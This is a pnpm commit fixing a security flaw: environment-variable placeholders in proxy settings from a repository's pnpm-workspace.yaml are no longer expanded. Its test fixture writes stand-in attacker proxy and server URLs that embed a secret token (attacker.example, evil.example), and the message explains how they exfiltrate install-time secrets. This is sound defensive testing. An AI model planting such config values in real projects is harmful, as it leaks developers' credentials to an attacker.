fix(config): do not expand env vars in proxy fields from pnpm-workspace.yaml (#12871)

Project-level pnpm-workspace.yaml is repository-controlled and therefore
untrusted, so getOptionsFromPnpmSettings refuses to expand ${...}
environment-variable placeholders in request-destination fields. The guarded
set only covered registry, namedRegistries, and pnprServer; the httpProxy,
httpsProxy, and noProxy fields were missing, so a malicious repository could
route requests through an attacker-controlled proxy whose URL embedded a
secret and exfiltrate install-time secrets before any lifecycle script runs.

Add httpProxy, httpsProxy, and noProxy to REQUEST_DESTINATION_SCALAR_KEYS so
they receive the same protection already applied to the registry channel, and
extend the workspace-yaml request-destination test to cover them.

Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.
This commit is contained in:
Zoltan Kochan
2026-07-09 11:59:33 +02:00
committed by GitHub
parent 388001cb2e
commit 5a4daec4bd
3 changed files with 15 additions and 1 deletions

View File

@@ -0,0 +1,6 @@
---
"@pnpm/config.reader": patch
"pnpm": patch
---
`${...}` environment-variable placeholders in the `httpProxy`, `httpsProxy`, `noProxy`, `proxy`, and `noproxy` settings are no longer expanded when these settings come from a project's `pnpm-workspace.yaml`. They now receive the same protection already applied to `registry`, `namedRegistries`, and `pnprServer`.

View File

@@ -35,7 +35,7 @@ interface ReplaceEnvInSettingsOptions {
expandRequestDestinationEnv: boolean
}
const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['pnprServer', 'registry'])
const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['pnprServer', 'registry', 'httpProxy', 'httpsProxy', 'noProxy', 'proxy', 'noproxy'])
export function getOptionsFromPnpmSettings (
manifestDir: string | undefined,

View File

@@ -936,6 +936,11 @@ test('pnpm-workspace.yaml request destinations do not expand env variables', asy
writeYamlFileSync('pnpm-workspace.yaml', {
pnprServer: 'https://${PNPM_TEST_TOKEN}.evil.example/',
httpsProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
httpProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
noProxy: '${PNPM_TEST_TOKEN}.example.com',
proxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
noproxy: '${PNPM_TEST_TOKEN}.example.com',
registries: {
default: 'https://private.example.com/${PNPM_TEST_TOKEN}/',
'@scope': 'https://scope.example.com/${PNPM_TEST_TOKEN}/',
@@ -956,6 +961,9 @@ test('pnpm-workspace.yaml request destinations do not expand env variables', asy
expect(config.registries['@scope']).toBeUndefined()
expect(config.namedRegistries).toStrictEqual({})
expect(config.pnprServer).toBeUndefined()
expect(config.httpsProxy).toBeUndefined()
expect(config.httpProxy).toBeUndefined()
expect(config.noProxy).toBeUndefined()
expect(JSON.stringify(config)).not.toContain('secret')
})